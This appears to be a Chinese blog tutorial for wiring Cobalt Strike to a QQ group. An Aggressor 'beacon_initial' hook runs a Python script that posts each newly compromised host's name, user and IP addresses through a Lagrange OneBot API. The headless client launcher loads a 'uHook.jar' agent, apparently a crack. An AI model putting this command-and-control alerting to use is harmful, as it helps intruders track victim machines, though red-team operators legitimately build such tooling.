上一集我们讲到怎么在linux上面部署lagrange

现在让我们用 python 和 agressor script 写出Cobaltstrike的消息推送:

实际效果图

准备工作

  1. Cobaltstrike Headless client (agscript,用于产生一个客户端,持续性地运行我们的脚本)

  2. Python3

  3. Lagrange消息平台

配置Lagrange

如果你不知道如何部署Lagrange,请移至 在x64 Linux上部署Lagrange.Onebot (QQ消息平台) - 残酷世界的传说 (yamero.cc)

欲发送消息到QQ,我们首先需要与消息平台通信,再由消息平台直接联系腾讯服务器

那么怎么与消息平台通信呢?我们可以使用lagrange的API,这符合Onebot V11的标准

首先,需要在lagrange开启http监听器

Implementations 下面添加:

{
    "Type": "Http",
    "Host": "127.0.0.1",
    "Port": 8083,
    "AccessToken": "changeme"
}

其中AccessToken是客户端发送get请求时的密钥

了解API

开启监听器后,我们将在之后的python脚本中使用下面的api:

send_group_msg 发送群消息

参数

字段名

数据类型

默认值

说明

group_id

number

-

群号

message

message

-

要发送的内容

auto_escape

boolean

false

消息内容是否作为纯文本发送(即不解析 CQ 码),只在 message 字段是字符串时有效

调用例子:

127.0.0.1/send_group_msg?group_id=123456&message=[CQ:text,text="hello"]?auto_escape=false

Python部分

先规划python的代码,需要使用requests库去连接lagrange的api

代码也是比较简单:

保存为 onebot.py

import requests
from requests.compat import urljoin, urlencode, quote_plus
import sys

if len(sys.argv) < 4:
    print("Usage: computer_name user_name ip_ex ip_in")
    exit()

api_host = "127.0.0.1"
api_port = 8083
api_group = 你的qq群
access_token = "你的token"

computer_name = sys.argv[1]
user_name = sys.argv[2]
user_ip = sys.argv[3]
user_ip_internal = sys.argv[4]

msg = f"有主机上线了喵! 注意查收哦\n主机名:{computer_name}\n用户名:{user_name}\nIP: {user_ip} (外网) / {user_ip_internal} (内网)"
try:
    response = requests.get(
        urljoin("http://" + api_host + f":{api_port}".format(api_port=api_port), quote_plus("send_group_msg")),
        {
            "group_id": str(api_group),
            "message": f"[CQ:text,text={msg}]".format(msg=msg),
            "auto_escape": "false",
            "access_token": access_token
        },
    )
    if response.status_code == 401:
        print("wrong token.")
except Exception as e:
    print(e)

可以自己先试一下代码,看看消息能不能发出去

python3 onebot.py what no yes ok

正常的情况是这样的:

Agressor Script部分

现在我们实现了与qq通信,该进一步将python脚本整合进cobaltstrike了!

Agressor Script是运行在客户端上的脚本,当然也可以运行在服务端上面,不过这需要一个客户端持续地连接

我记得cs以前的版本客户端里面是自带有agscript,但是我这边的4.9没有

如果client里面没有agscript,你需要自己创建一个先:

echo "java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:uHook.jar -classpath ./cobaltstrike-client.jar aggressor.headless.Start $*" > agscript

chmod +x agscript

然后下面开始编写cobaltstrike-msg.cna

on beacon_initial {
    println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1,"pid"));
    local('$internalIP $computerName $userName');
    $externalIP = replace(beacon_info($1, "external"), " ", "_");
    $internalIP = replace(beacon_info($1, "internal"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");
    $cmd = 'python3 /root/CobaltSrike_4.9.1/Client/onebot.py' . ' ' . $computerName . ' ' . $userName . ' ' . $externalIP . ' ' . $internalIP;
    exec($cmd);
}

(话说字符串的连接方式真的反人类

注意要把cmd里面的onebot.py改为你的python脚本路径

保存后,输入

./agscript 127.0.0.1 端口 agent cs服务端的密码 cobaltstrike-msg.cna

即可产生一个持续的脚本客户端,连接到我们的cs服务端

&